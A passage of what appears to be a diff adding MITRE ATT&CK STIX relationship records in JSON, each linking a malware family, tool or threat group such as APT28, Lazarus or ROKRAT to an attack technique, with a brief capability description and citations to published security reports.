+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a713d0d3-2897-4da2-995f-df3a40f04b29", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [JPIN](https://attack.mitre.org/software/S0201) uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2263afd-2fd3-4f98-96a5-a00e5f33b99e", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) lists the current running processes on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--536ed2f4-46c5-4485-998c-60f0480d5c21", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "modified": "2019-07-26T22:56:58.492Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--89424d69-a426-4f76-9e7f-7b2dabe459be", + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "Cisco DNSMessenger March 2017", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) queries several Registry keys to identify hard disk partitions to overwrite.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.370Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses cmd.exe to execute commands.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--337abaa3-80a6-4c41-9936-2eed13b84ba9", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.248Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use Regsvr32 to execute additional payloads.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2853aaaa-982e-49bf-a219-b4f16805b983", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) encrypted a .dll payload using RTL and a custom encryption algorithm. [APT28](https://attack.mitre.org/groups/G0007) has also obfuscated payloads with base64, XOR, and RC4.", + "type": "relationship", + "created": "2017-05-31T21:33:27.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-27T00:09:36.401Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has obfuscated DLLs and functions using dummy API calls inserted between real instructions.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47df35dd-7d45-452d-af46-d04348a6b363", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) executes shellcode and a script to decode Base64 strings.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--52e1eb9c-e1ef-4ede-bbe7-fb0a79617a9a", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:16.144Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses HTTP, SMTP, and POP3 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d102ef8-c831-413d-b2cb-392517638b0b", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:32.736Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers a list of running processes.", + "type": "relationship", + "created": "2017-05-31T21:33:27.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing keylogging.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--954961e4-0bf5-496e-b200-e63d99c006de", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-05-14T17:10:21.940Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc", + "external_references": [ + { + "source_name": "Alienvault Sykipot DOD Smart Cards", + "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit various path interception opportunities in services, processes, and variables.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--457cb4ac-e64b-4905-853b-933a28bd34cc", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.171Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim time zone.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.358Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--50a57369-6d3e-44bf-814f-7c9242e56d75", + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The C2 server used by [XTunnel](https://attack.mitre.org/software/S0117) provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e97b39d6-7be1-4f59-8959-7f1f01402152", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-04-19T18:36:31.997Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[route](https://attack.mitre.org/software/S0103) can be used to discover routing configuration information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab687dca-2741-4920-a71e-e0e0444809c5", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.083Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to enumerate files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--007cc21a-685a-4701-99c1-20f258cedc7c", + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67ffaecc-e47d-47a1-93fd-82d21018ad8b", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can delete files written to disk.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c935fb02-a2a4-448e-adc0-2b220fc8d521", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.612Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) has downloaded a remote module for execution.", + "type": "relationship", + "created": "2019-01-30T19:50:46.682Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--65384e27-6d16-4d25-a17b-3d74dde8f224", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.361Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obfuscates strings with base64 encoding.", + "type": "relationship", + "created": "2019-01-31T00:23:06.390Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c92a16b-9f72-4f79-a656-e79c6c04e48f", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-31T00:23:06.390Z", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used WMI to deploy their tools on remote machines and to gather information about the Outlook process.", + "type": "relationship", + "created": "2019-01-31T01:07:58.589Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--18e8e653-d924-4fed-a33f-7893cf8a683b", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.280Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": 